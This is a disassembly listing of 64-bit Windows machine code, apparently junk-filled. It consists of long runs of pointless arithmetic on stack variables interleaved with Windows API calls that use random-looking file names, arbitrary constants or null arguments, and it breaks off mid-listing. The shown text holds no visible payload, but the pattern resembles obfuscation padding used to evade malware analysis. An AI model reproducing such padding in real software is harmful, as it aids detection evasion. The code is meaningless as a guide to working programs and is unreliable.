mov word [rsp + 0x2e88], ax
movsx eax, byte [rsp + 0x519]
mov rcx, qword [rsp + 0x14328]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4fe], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x24a4]
mov rcx, qword [rsp + 0x15fa8]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x2bb0], ax
movzx eax, byte [rsp + 0x1c8]
mov byte [rsp + 0x7e0], al
mov eax, dword [rsp + 0x9bb8]
movzx ecx, al
mov eax, dword [rsp + 0xa570]
shl eax, cl
mov rcx, qword [rsp + 0x12f58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x16030]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14c50]
mov qword [rsp + 0x16a30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16a30]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [0x14036a020]
mov dword [rcx], eax
mov rax, qword [0x14036a190]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x938c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5794], eax
mov rax, qword [rsp + 0x164a0]
mov ecx, dword [rsp + 0x5f34]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13b90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x16130]
mov ecx, dword [rsp + 0xa3ec]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9534], eax
lea rdx, [rsp + 0x42d48]
mov rcx, qword [rsp + 0x141f8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa5fc], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.jgaqr9REapvzJiO
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16a38], rax
lea rax, [0x1403525ff]
mov qword [rsp + 0x16a40], rax
mov rax, qword [rsp + 0x140f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2198]
sub eax, ecx
mov rcx, qword [rsp + 0x13d50]
mov word [rcx], ax
mov eax, dword [rsp + 0xa594]
mov dword [rsp + 0xa644], eax
mov eax, dword [rsp + 0x59d0]
mov ecx, dword [rsp + 0x63b4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x156b0]
mov dword [rcx], eax
lea rax, [rsp + 0x9c7c]
mov qword [rsp + 0x16a48], rax
mov rax, qword [rsp + 0x15868]
mov rcx, qword [rsp + 0x15840]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14036a3e4], eax
movzx eax, byte [rsp + 0x3d2]
movzx ecx, byte [0x140363efe]
and eax, ecx
mov byte [rsp + 0x161], al
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x4c570]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa524], eax
movzx eax, word [rsp + 0x2c18]
movzx ecx, word [rsp + 0x1560]
add eax, ecx
mov rcx, qword [rsp + 0x15348]
mov word [rcx], ax
lea rax, [rsp + 0x79f]
mov qword [rsp + 0x16a50], rax
mov rax, qword [0x14036a258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e24]
or eax, ecx
mov rcx, qword [rsp + 0x164f8]
mov word [rcx], ax
lea rax, [rsp + 0xa418]
mov qword [rsp + 0x16a58], rax
mov rax, qword [rsp + 0x16970]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9cc0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3dc], eax
movzx eax, byte [0x140363f85]
mov rcx, qword [rsp + 0x14bf0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14870]
mov byte [rcx], al
lea rax, [rsp + 0x2a10]
mov qword [rsp + 0x16a60], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9ff4], eax
mov eax, dword [rsp + 0x6a7c]
mov dword [0x14036a508], eax
mov rax, qword [0x140369f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x59fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9880], eax
lea rax, [rsp + 0xa4ac]
mov qword [rsp + 0x16a68], rax
mov eax, dword [rsp + 0xa12c]
movzx ecx, al
mov eax, dword [rsp + 0x9d38]
shr eax, cl
mov rcx, qword [rsp + 0x13ab0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x49b]
mov rcx, qword [rsp + 0x14598]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x132a0]
mov byte [rcx], al
lea rax, [rsp + 0x251c]
mov qword [rsp + 0x16a70], rax
mov eax, dword [rsp + 0xa4c0]
mov ecx, dword [rsp + 0xa5ec]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6798], eax
lea rax, [rsp + 0x9a6c]
mov qword [rsp + 0x16a78], rax
mov eax, dword [rsp + 0x8088]
movzx ecx, al
mov eax, dword [0x1403624f8]
shl eax, cl
mov dword [rsp + 0x9adc], eax
lea rax, [rsp + 0xa554]
mov qword [0x14036a510], rax
lea rax, [rsp + 0x9f00]
mov qword [rsp + 0x16a80], rax
movsx eax, word [0x140369c60]
movsx ecx, word [rsp + 0x2858]
or eax, ecx
mov word [rsp + 0x2c44], ax
mov rax, qword [rsp + 0x13a58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13390]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x757], al
lea rax, [rsp + 0x2b84]
mov qword [rsp + 0x16a88], rax
mov rax, qword [0x140369d98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15e88]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x773], al
lea rax, [rsp + 0x96c0]
mov qword [rsp + 0x16a90], rax
mov rax, qword [rsp + 0x152c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3e0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15d98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14548]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x696]
sub eax, ecx
mov rcx, qword [rsp + 0x15000]
mov byte [rcx], al
movzx eax, word [rsp + 0x2e14]
mov rcx, qword [rsp + 0x13578]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140369bf8]
mov word [rcx], ax
mov rax, qword [rsp + 0x16488]
mov rcx, qword [0x14036a3e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6004], eax
mov eax, dword [rsp + 0xa438]
mov ecx, dword [rsp + 0x9ef0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa030], eax
lea rax, [rsp + 0xa5f8]
mov qword [rsp + 0x16a98], rax
mov rax, qword [rsp + 0x14bd0]
mov eax, dword [rax]
mov ecx, dword [0x140369cd0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15fd0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2e1c]
mov rcx, qword [rsp + 0x15658]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x145a8]
mov word [rcx], ax
lea rax, [rsp + 0x795]
mov qword [rsp + 0x16aa0], rax
mov rax, qword [0x140369e70]
mov ecx, dword [rsp + 0x592c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15350]
mov dword [rcx], eax
mov rax, qword [rsp + 0x154e0]
mov eax, dword [rax]
mov dword [rsp + 0xa648], eax
movsx eax, byte [rsp + 0x791]
cdq
mov ecx, 0x3a
idiv ecx
mov rcx, qword [0x140369cd8]
mov byte [rcx], al
movsx eax, word [rsp + 0x1988]
mov rcx, qword [rsp + 0x15330]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2d2c], ax
movzx eax, word [rsp + 0x2e64]
movzx ecx, word [rsp + 0x1f18]
sar eax, cl
mov rcx, qword [rsp + 0x16830]
mov word [rcx], ax
lea rax, [rsp + 0x369]
mov qword [rsp + 0x16aa8], rax
mov eax, dword [rsp + 0x9ac0]
mov ecx, dword [rsp + 0x8934]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9eb8], eax
lea rax, [rsp + 0xa0a8]
mov qword [rsp + 0x16ab0], rax
mov rax, qword [rsp + 0x15ec8]
mov rcx, qword [0x14036a0c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9c8c], eax
lea rax, [rsp + 0x9c38]
mov qword [rsp + 0x16ab8], rax
mov eax, dword [rsp + 0x8924]
mov ecx, dword [rsp + 0xa230]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15800]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15e38]
movzx eax, word [rax]
movzx ecx, word [0x14036a338]
imul eax, ecx
mov word [rsp + 0x2c1c], ax
mov rcx, qword [rsp + 0x15f50]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa64c], eax
lea rax, [rsp + 0x556]
mov qword [0x14036a518], rax
lea rax, [rsp + 0xa534]
mov qword [rsp + 0x16ac0], rax
mov rax, qword [rsp + 0x15af8]
mov rcx, qword [rsp + 0x160c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5c48], eax
lea rax, [0x1403624a8]
mov qword [rsp + 0x16ac8], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rax, qword [rsp + 0x15288]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9eb8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5418], eax
movzx eax, byte [rsp + 0x77f]
mov rcx, qword [rsp + 0x130b8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x533], al
lea rax, [0x140362550]
mov qword [rsp + 0x16ad0], rax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x4b010]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9e38], eax
mov rax, qword [rsp + 0x162f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7ce]
sub eax, ecx
mov byte [rsp + 0x771], al
lea rax, [rsp + 0x268c]
mov qword [rsp + 0x16ad8], rax
mov eax, dword [rsp + 0x99b8]
mov ecx, dword [0x14036254c]
sub ecx, eax
mov eax, ecx
mov dword [0x140362580], eax
mov rax, qword [rsp + 0x162c0]
mov rcx, qword [rsp + 0x146d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x16590]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14278]
movzx eax, word [rax]
movzx ecx, word [0x140362488]
add eax, ecx
mov rcx, qword [rsp + 0x13f08]
mov word [rcx], ax
lea rax, [rsp + 0x777]
mov qword [rsp + 0x16ae0], rax
mov eax, dword [rsp + 0x8620]
mov ecx, dword [rsp + 0xa4b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ca4], eax
mov eax, dword [rsp + 0xa218]
mov dword [rsp + 0xa650], eax
mov eax, dword [rsp + 0x8f64]
mov ecx, dword [0x14036a1b4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9664], eax
mov rcx, qword [rsp + 0x12fd0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x14d88]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa478]
shl eax, cl
mov dword [rsp + 0x81d0], eax
mov rax, qword [rsp + 0x13ab8]
movzx eax, byte [rax]
mov rcx, qword [0x14036a2e8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xd1], al
mov rax, qword [rsp + 0x13370]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ca4]
sar eax, cl
mov word [0x14036258c], ax
mov eax, dword [rsp + 0x8180]
mov ecx, dword [rsp + 0xa308]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa35c], eax
mov rax, qword [rsp + 0x15d00]
mov eax, dword [rax]
mov dword [rsp + 0xa654], eax
mov dword [rsp + 0x4d9b0], 0x11c
mov rax, qword [rsp + 0x13f40]
mov ecx, dword [rsp + 0x9d84]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x142c8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9f3c]
mov ecx, dword [rsp + 0x702c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x562c], eax
mov dword [rsp + 0x20], 0x2a0b
mov r9d, 0x31ae
mov r8d, 0xf19
mov edx, 0xe22
mov rcx, qword [rsp + 0x13090]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa338], eax
mov rax, qword [rsp + 0x15498]
mov ecx, dword [rsp + 0x8bb4]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13ce0]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x15208]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x149b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x147f0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14920]
mov word [rcx], ax
mov rax, qword [rsp + 0x13bf8]
movzx eax, byte [rax]
mov byte [rsp + 0x7e1], al
movzx eax, byte [rsp + 0x7a4]
mov rcx, qword [rsp + 0x13708]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x151c8]
mov byte [rcx], al
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x4b7f0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa658], eax
lea rax, [rsp + 0x2d28]
mov qword [0x14036a520], rax
lea rax, [rsp + 0xa0fc]
mov qword [rsp + 0x16ae8], rax
mov rax, qword [0x140369ef8]
mov rcx, qword [rsp + 0x13620]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x99e4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
mov rax, qword [rsp + 0x14c48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2df8]
sub eax, ecx
mov word [rsp + 0x1a10], ax
movzx eax, byte [rsp + 0x77f]
mov rcx, qword [rsp + 0x167e0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x231], al
mov rax, qword [rsp + 0x13a18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9250]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9848], eax
mov rax, qword [rsp + 0x135b0]
mov eax, dword [rax]
mov dword [rsp + 0xa65c], eax
mov rax, qword [rsp + 0x143b8]
mov rcx, qword [rsp + 0x14de0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9dd4], eax
mov eax, dword [rsp + 0x9c64]
mov ecx, dword [rsp + 0x9ef0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x164e0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2dd0]
movzx ecx, word [0x14036a1a0]
xor eax, ecx
mov word [0x140369b74], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa56c], eax
mov rax, qword [rsp + 0x167e0]
movzx eax, byte [rax]
mov byte [rsp + 0x7e2], al
mov rax, qword [rsp + 0x13ea8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x131a0]
mov qword [rsp + 0x16af0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16af0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6588], eax
lea rax, [rsp + 0x9c00]
mov qword [rsp + 0x16af8], rax
movsx eax, byte [0x1403525fb]
movsx ecx, byte [rsp + 0x184]
shl eax, cl
mov byte [rsp + 0x789], al
lea rax, [rsp + 0x2d00]
mov qword [rsp + 0x16b00], rax
movzx eax, word [rsp + 0x2c7c]
mov rcx, qword [rsp + 0x133c8]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x143c0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x7b5]
movzx ecx, byte [rsp + 0x784]
or eax, ecx
mov rcx, qword [rsp + 0x13da0]
mov byte [rcx], al
lea rax, [rsp + 0xa1a0]
mov qword [rsp + 0x16b08], rax
mov rax, qword [rsp + 0x14220]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x96d8]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x14036a150]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14e48]
mov ecx, dword [rsp + 0x9e60]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x15580]
mov dword [rcx], eax
lea rdx, [rsp + 0x43528]
mov rcx, qword [rsp + 0x14688]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa660], eax
lea rax, [rsp + 0x98f0]
mov qword [rsp + 0x16b10], rax
mov rax, qword [0x140369cc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa0c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9888], eax
mov rcx, qword [rsp + 0x13290]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [rsp + 0x599]
mov rcx, qword [rsp + 0x14870]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x15148]
mov byte [rcx], al
movzx eax, word [rsp + 0x178c]
mov rcx, qword [rsp + 0x15bf0]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x14f4], ax
mov rax, qword [rsp + 0x15788]
mov rcx, qword [rsp + 0x13068]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8860], eax
mov rax, qword [rsp + 0x13928]
mov eax, dword [rax]
mov dword [rsp + 0xa664], eax
mov rax, qword [rsp + 0x14910]
mov rcx, qword [rsp + 0x16360]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14438]
mov dword [rcx], eax
lea rax, [0x140369e30]
mov qword [0x14036a528], rax
movzx eax, word [rsp + 0x2c98]
movzx ecx, word [rsp + 0x2d38]
sub eax, ecx
mov rcx, qword [rsp + 0x15608]
mov word [rcx], ax
lea rdx, [rsp + 0x436b0]
mov rcx, qword [rsp + 0x14398]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9fc4], eax
lea rax, [rsp + 0x74f]
mov qword [rsp + 0x16b18], rax
movsx eax, word [rsp + 0x28b4]
movsx ecx, word [rsp + 0x2c68]
sub eax, ecx
mov rcx, qword [rsp + 0x15d48]
mov word [rcx], ax
movsx eax, byte [rsp + 0x512]
movsx ecx, byte [rsp + 0x2d1]
sub eax, ecx
mov byte [rsp + 0x162], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa130], eax
mov eax, dword [rsp + 0x6b70]
movzx ecx, al
mov eax, dword [rsp + 0xa3ac]
shr eax, cl
mov dword [rsp + 0xa570], eax
mov rax, qword [rsp + 0x156c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x167a0]
mov qword [rsp + 0x16b20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16b20]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9dbc], eax
lea rax, [rsp + 0x231]
mov qword [rsp + 0x16b28], rax
mov edx, 0x1d20
mov rcx, qword [rsp + 0x15538]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9e74], eax
mov rax, qword [rsp + 0x152c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13af8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13020]
mov word [rcx], ax
mov rax, qword [rsp + 0x14600]
mov rcx, qword [rsp + 0x14440]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x14036a038]
mov dword [rcx], eax
lea rax, [rsp + 0x81d0]
mov qword [rsp + 0x16b30], rax
mov rax, qword [rsp + 0x165a0]
mov ecx, dword [rsp + 0x567c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9bec], eax
mov rax, qword [rsp + 0x13238]
mov eax, dword [rax]
mov dword [rsp + 0xa668], eax
movzx eax, byte [rsp + 0x78d]
mov rcx, qword [rsp + 0x15b10]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x788], al
mov rax, qword [0x14036a060]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x139b0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13ed0]
mov word [rcx], ax
lea rax, [rsp + 0x9c38]
mov qword [rsp + 0x16b38], rax
mov rcx, qword [rsp + 0x13f68]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa66c], eax
mov rcx, qword [rsp + 0x12be0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x9c7c]
mov ecx, dword [rsp + 0x6878]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x16850]
mov dword [rcx], eax
lea rax, [0x140362588]
mov qword [rsp + 0x16b40], rax
lea rax, [rsp + 0x59fc]
mov qword [0x14036a530], rax
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x4acb0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9980], eax
mov rax, qword [rsp + 0x13988]
mov rcx, qword [rsp + 0x14008]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x636c], eax
mov rcx, qword [rsp + 0x15808]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, byte [rsp + 0x743]
movsx ecx, byte [rsp + 0x7ba]
or eax, ecx
mov byte [rsp + 0x7c6], al
movzx eax, word [rsp + 0x2c10]
mov word [rsp + 0x2e8c], ax
mov dword [rsp + 0x4dad0], 0x11c
movzx eax, word [rsp + 0x2b90]
movzx ecx, word [rsp + 0x2d58]
imul eax, ecx
mov rcx, qword [rsp + 0x14a18]
mov word [rcx], ax
movzx eax, byte [rsp + 0x7a8]
mov rcx, qword [0x140369d98]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1f2], al
lea rdx, [rsp + 0x43410]
mov rcx, qword [rsp + 0x15440]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9fb4], eax
mov eax, dword [rsp + 0x9fa4]
mov ecx, dword [rsp + 0x9fbc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14ed8]
mov dword [rcx], eax
mov eax, dword [0x1403624d4]
mov ecx, dword [rsp + 0x8340]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c08], eax
movzx eax, word [rsp + 0x2d7c]
mov word [rsp + 0x2e90], ax
movzx eax, byte [rsp + 0x7d9]
mov rcx, qword [rsp + 0x12d58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140363f6e], al
mov rax, qword [0x140369d20]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x159c8]
mov qword [rsp + 0x16b48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16b48]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5978], eax
lea rax, [rsp + 0xa184]
mov qword [rsp + 0x16b50], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa670], eax
mov rax, qword [rsp + 0x15238]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa444]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x154e0]
mov dword [rcx], eax
mov eax, dword [0x14036a2f0]
mov rcx, qword [rsp + 0x14638]
mov qword [rsp + 0x16b58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16b58]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x610c], eax
movzx eax, word [rsp + 0x2e24]
mov rcx, qword [rsp + 0x16640]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2e3c], ax
mov rax, qword [rsp + 0x16aa0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14258]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14a98]
mov byte [rcx], al
lea rax, [rsp + 0xa458]
mov qword [rsp + 0x16b60], rax
mov rax, qword [rsp + 0x148f0]
mov ecx, dword [rsp + 0x92c8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa21c], eax
lea rax, [rsp + 0x2cb4]
mov qword [0x14036a538], rax
lea rax, [rsp + 0x1d9]
mov qword [rsp + 0x16b68], rax
movzx eax, byte [rsp + 0x72b]
movzx ecx, byte [rsp + 0x768]
sub eax, ecx
mov rcx, qword [rsp + 0x156b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x15348]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2cc4]
sub eax, ecx
mov word [rsp + 0x2874], ax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x4aef0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x993c], eax
lea rax, [0x14036a4f8]
mov qword [rsp + 0x16b70], rax
mov eax, dword [rsp + 0x9974]
mov ecx, dword [rsp + 0x5b48]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x131d0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa5e4]
mov dword [rsp + 0xa674], eax
mov rcx, qword [rsp + 0x12df8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa03c], eax
mov rax, qword [rsp + 0x14f80]
mov ecx, dword [rsp + 0xa10c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14710]
mov dword [rcx], eax
mov rax, qword [rsp + 0x16058]
mov ecx, dword [rsp + 0x9d04]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa4f8], eax
mov rax, qword [rsp + 0x148e8]
movzx eax, byte [rax]
mov byte [rsp + 0x7e3], al
lea rax, [rsp + 0x2db8]
mov qword [0x14036a540], rax
mov eax, dword [rsp + 0xa218]
mov ecx, dword [0x14036a188]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x73a0], eax
mov rax, qword [rsp + 0x15cb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa11c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9080], eax
mov rax, qword [0x14036a340]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa594]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14a30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x147c0]
mov ecx, dword [rsp + 0x99d8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa08c], eax
movzx eax, byte [rsp + 0x650]
mov byte [rsp + 0x7e4], al
mov rax, qword [rsp + 0x15cf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b78]
shl eax, cl
mov rcx, qword [rsp + 0x15cc8]
mov word [rcx], ax
lea rax, [rsp + 0x2e44]
mov qword [rsp + 0x16b78], rax
mov rax, qword [rsp + 0x163a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x12ed0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x149f0]
mov byte [rcx], al
mov rax, qword [0x14036a120]
mov rcx, qword [rsp + 0x16530]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x140369d08]
mov dword [rcx], eax
lea rax, [rsp + 0xa438]
mov qword [rsp + 0x16b80], rax
movzx eax, word [rsp + 0x2c08]
movzx ecx, word [rsp + 0x13b8]
and eax, ecx
mov rcx, qword [rsp + 0x15598]
mov word [rcx], ax
movzx eax, byte [0x140363f5d]
mov rcx, qword [rsp + 0x13650]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13ce8]
mov byte [rcx], al
lea rax, [rsp + 0xa4bc]
mov qword [rsp + 0x16b88], rax
mov rax, qword [rsp + 0x15540]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d48]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2f4], eax
mov rax, qword [rsp + 0x15e18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9bac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d40], eax
mov rax, qword [rsp + 0x15f00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa62c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14238]
mov dword [rcx], eax
movzx eax, word [0x14036a008]
mov rcx, qword [rsp + 0x14250]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x150a8]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.l32svMCVd0AZ3WGhhPw
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16b90], rax
mov rax, qword [rsp + 0x157b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x16148]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x140369d98]
mov byte [rcx], al
lea rax, [rsp + 0x8074]
